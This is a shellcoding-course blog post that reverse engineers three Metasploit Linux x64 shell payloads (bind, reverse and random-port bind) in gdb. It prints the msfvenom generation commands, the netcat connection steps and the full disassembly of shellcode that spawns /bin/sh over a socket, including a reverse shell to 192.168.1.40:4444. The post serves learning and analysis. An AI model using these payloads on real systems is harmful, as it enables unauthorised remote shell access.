SLAE64 – Assignment #5 – Reverse Engineering Msfpayload Shellcodes

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #5

The aim of this assignment is to dissect functionnality of 3 payloads from Metasploit.

The tool msfpayload has been replaced by msfvenom.

So first, I just list all linux x64 payloads using msfvenom :

msfvenom -l payload | grep linux/x64
 linux/x64/exec Execute an arbitrary command
 linux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
 linux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
 linux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
 linux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
 linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell
 linux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
 linux/x64/shell_find_port Spawn a shell on an established connection
 linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell

I’ve chosen to do the analysis of the following payloads :

  • linux/x64/shell_bind_tcp
  • linux/x64/shell_reverse_tcp
  • linux/x64/shell_bind_tcp_random_port

Analysis of linux/x64/shell_bind_tcp

First, I generate the payload  :

msfvenom -a x64 --platform linux -p linux/x64/shell_bind_tcp -f elf > shell_bind_tcp
No encoder or badchars specified, outputting raw payload
Payload size: 86 bytes
Final size of elf file: 206 bytes

Then I’ve tested it :

On the target :
chmod +x shell_bind_tcp 
./shell_bind_tcp
On my computer :
nc <Target IP> 4444

In order to dissect the code, I first search entry point address from the binary :

readelf -a ./shell_bind_tcp 
ELF Header:
 Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
 Class: ELF64
 Data: 2's complement, little endian
 Version: 1 (current)
 OS/ABI: UNIX - System V
 ABI Version: 0
 Type: EXEC (Executable file)
 Machine: Advanced Micro Devices X86-64
 Version: 0x1
 Entry point address: 0x400078
 Start of program headers: 64 (bytes into file)
 Start of section headers: 0 (bytes into file)
 Flags: 0x0
 Size of this header: 64 (bytes)
 Size of program headers: 56 (bytes)
 Number of program headers: 1
 Size of section headers: 0 (bytes)
 Number of section headers: 0
 Section header string table index: 0

I then debug the code under gdb

gdb ./shell_bind_tcp
break *0x400078
set disassembly-flavor intel
run
layout asm
layout regs

Analysis :

1) Open a socket stream

B+>│0x400078 push 0x29 
 │0x40007a pop rax 
 │0x40007b cdq 
 │0x40007c push 0x2 
 │0x40007e pop rdi 
 │0x40007f push 0x1 
 │0x400081 pop rsi 
 │0x400082 syscall

sys_socket (rax = 0x29) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)

2) Bind TCP socket on port 4444

>│0x400084 xchg rdi,rax 
 │0x400086 push rdx 
 │0x400087 mov DWORD PTR [rsp],0x5c110002 
 │0x40008e mov rsi,rsp 
 │0x400091 push 0x10 
 │0x400093 pop rdx 
 │0x400094 push 0x31 
 │0x400096 pop rax 
 │0x400097 syscall

sys_bind (rax = 49) int fd (rdi) struct sokaddr *umyaddr (rsi) int addrlen (rdx = 0x10)

where rsi points to stack with C structure :

struct sockaddr_in {
 uint8_t sin_len; /* total length */
 sa_family_t sin_family; /* family : AF_INET */
 in_port_t sin_port; /* port number */
 struct in_addr sin_addr; /* inet address */
 unsigned char sin_zero[8]; /* 8 zeros */
};

sin_addr = 0 (push rdx) = INADDR_ANY = any address for binding

>│0x400084 xchg rdi,rax 
 │0x400086 push rdx

sin_port = 4444 (0x5c11 is the reverse byte order of 0x115c = 4444)
mov DWORD PTR [rsp],0x5c110002

sin_family = 2 = AF_INET
mov DWORD PTR [rsp],0x5c110002

sin_len = 0x10
push 0x10
pop rdx

3) Socket listen

│0x400099 push 0x32 
 │0x40009b pop rax 
 │0x40009c syscall

syscall sys_listen (rax = 50) int fd int backlog

4) Accept connection

│0x40009e xor rsi,rsi 
│0x4000a1 push 0x2b 
│0x4000a3 pop rax 
│0x4000a4 syscall

sys_accept (rax = 43) int fd struct sockaddr *upeer_sockaddr int *upeer_addrlen

5) Duplicate socket (stdin, stout, stderr)
 
 >│0x4000a6 xchg rdi,rax 
 │0x4000a8 push 0x3 
 │0x4000aa pop rsi 
 │0x4000ab dec rsi 
 │0x4000ae push 0x21 
 │0x4000b0 pop rax 
 │0x4000b1 syscall

sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd

6) Shellcode part

Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *

Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa

0x4000b3 jne 0x4000ab 
 │0x4000b5 push 0x3b 
 │0x4000b7 pop rax 
 │0x4000b8 cdq 
 │0x4000b9 movabs rbx,0x68732f6e69622f 
 │0x4000c3 push rbx 
 │0x4000c4 mov rdi,rsp 
 │0x4000c7 push rdx 
 │0x4000c8 push rdi 
 │0x4000c9 mov rsi,rsp 
 │0x4000cc syscall

Analysis of linux/x64/shell_reverse_tcp

First, I generate the payload :

msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp -f elf > shell_reverse_tcp

Then I’ve tested it :

My computer :
nc -nlvp 4444
Target :
chmod +x shell_reverse_tcp 
./shell_reverse_tcp

Then in order to dissect the code, I debug it with gdb

gdb ./shell_reverse_tcp
break *0x400078
set disassembly-flavor intel
run
layout asm
layout regs

Analysis :

1) Open a socket stream

B+>│0x400078 push 0x29 
 │0x40007a pop rax 
 │0x40007b cdq 
 │0x40007c push 0x2 
 │0x40007e pop rdi 
 │0x40007f push 0x1 
 │0x400081 pop rsi 
 │0x400082 syscall

sys_socket (rax = 0x29) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)

2) Connect socket to port 4444 on localhost

│0x400084 xchg rdi,rax 
 │0x400086 movabs rcx,0x2801a8c05c110002 
 │0x400090 push rcx 
 │0x400091 mov rsi,rsp 
 │0x400094 push 0x10 
 │0x400096 pop rdx 
 │0x400097 push 0x2a 
 │0x400099 pop rax 
 │0x40009a syscall
 │0x400084 xchg rdi,rax

Keep socket stream fd

│0x400086 movabs rcx,0x2801a8c05c110002 
 │0x400090 push rcx 
 │0x400091 mov rsi,rsp

rsi points to stack with C structure :

struct sockaddr_in {
 uint8_t sin_len; /* total length */
 sa_family_t sin_family; /* family : AF_INET */
 in_port_t sin_port; /* port number */
 struct in_addr sin_addr; /* inet address */
 unsigned char sin_zero[8]; /* 8 zeros */
};
 
sin_family = 2 = AF_INET 
sin_port = 4444 (0x5c11 is the reverse byte order of 0x115c = 4444)
sin_addr = 2801a8c0 = 192.168.1.40 in reverse order

│0x400094 push 0x10 
│0x400096 pop rdx

Put addrlen on stack

│0x400097 push 0x2a 
 │0x400099 pop rax 
 │0x40009a syscall

sys_connect (rax = 0x2a) int fd (rdi = rax = socket stream) struct sockaddr *uservaddr (rsi) int addrlen (rdx = 0x10)

3) Duplicate socket (stdin, stout, stderr)

│0x40009c push 0x3 
 │0x40009e pop rsi 
 │0x40009f dec rsi 
 │0x4000a2 push 0x21 
 │0x4000a4 pop rax 
 │0x4000a5 syscall

sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd

4) Shellcode part

Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *

Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa

│0x4000a7 jne 0x40009f 
 │0x4000a9 push 0x3b 
 │0x4000ab pop rax 
 │0x4000ac cdq 
 │0x4000ad movabs rbx,0x68732f6e69622f 
 │0x4000b7 push rbx 
 │0x4000b8 mov rdi,rsp 
 │0x4000bb push rdx 
 │0x4000bc push rdi 
 │0x4000bd mov rsi,rsp 
 │0x4000c0 syscall

Analysis of linux/x64/shell_bind_tcp_random_port

First, I generate the payload :

msfvenom -a x64 --platform linux -p linux/x64/shell_bind_tcp_random_port -f elf > shell_bind_tcp_random_port

No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes
Final size of elf file: 177 bytes

Then I’ve tested it :

Target :
chmod +x shell_bind_tcp_random_port 
./shell_bind_tcp_random_port
My computer :

Search port :
nmap -sS <Target> -p-

Connect to target :
nc <Target IP> <Port>

Then in order to dissect the code, I debug it with gdb :

gdb ./shell_bind_tcp_random_port
break *0x400078
set disassembly-flavor intel
run
layout asm
layout regs

Analysis :

1) Open a socket stream

B+>│0x400078 xor rsi,rsi 
 │0x40007b mul rsi 
 │0x40007e inc esi 
 │0x400080 push 0x2 
 │0x400082 pop rdi 
 │0x400083 mov al,0x29 
 │0x400085 syscall

sys_socket (rax = 41) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)

2) Socket listen

│0x400087 push rdx 
│0x400088 pop rsi 
│0x400089 push rax 
│0x40008a pop rdi 
│0x40008b mov al,0x32 
│0x40008d syscall

syscall sys_listen (rax = 50) int fd int backlog

Socket listen on random port

3) Accept connection

│0x40008f mov al,0x2b 
│0x400091 syscall

sys_accept (rax = 43) int fd struct sockaddr *upeer_sockaddr int *upeer_addrlen

Process is waiting connexion

4) Duplicate socket (stdin, stout, stderr)

│0x400093 push rdi 
│0x400094 pop rsi 
│0x400095 xchg rdi,rax 
│0x400097 dec esi 
│0x400099 mov al,0x21 
│0x40009b syscall

sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd

5) Shellcode part

Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *

Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa

│0x40009d jne 0x400097 
│0x40009f push rdx 
│0x4000a0 movabs rdi,0x68732f6e69622f2f 
│0x4000aa push rdi 
│0x4000ab push rsp 
│0x4000ac pop rdi 
│0x4000ad mov al,0x3b 
│0x4000af syscall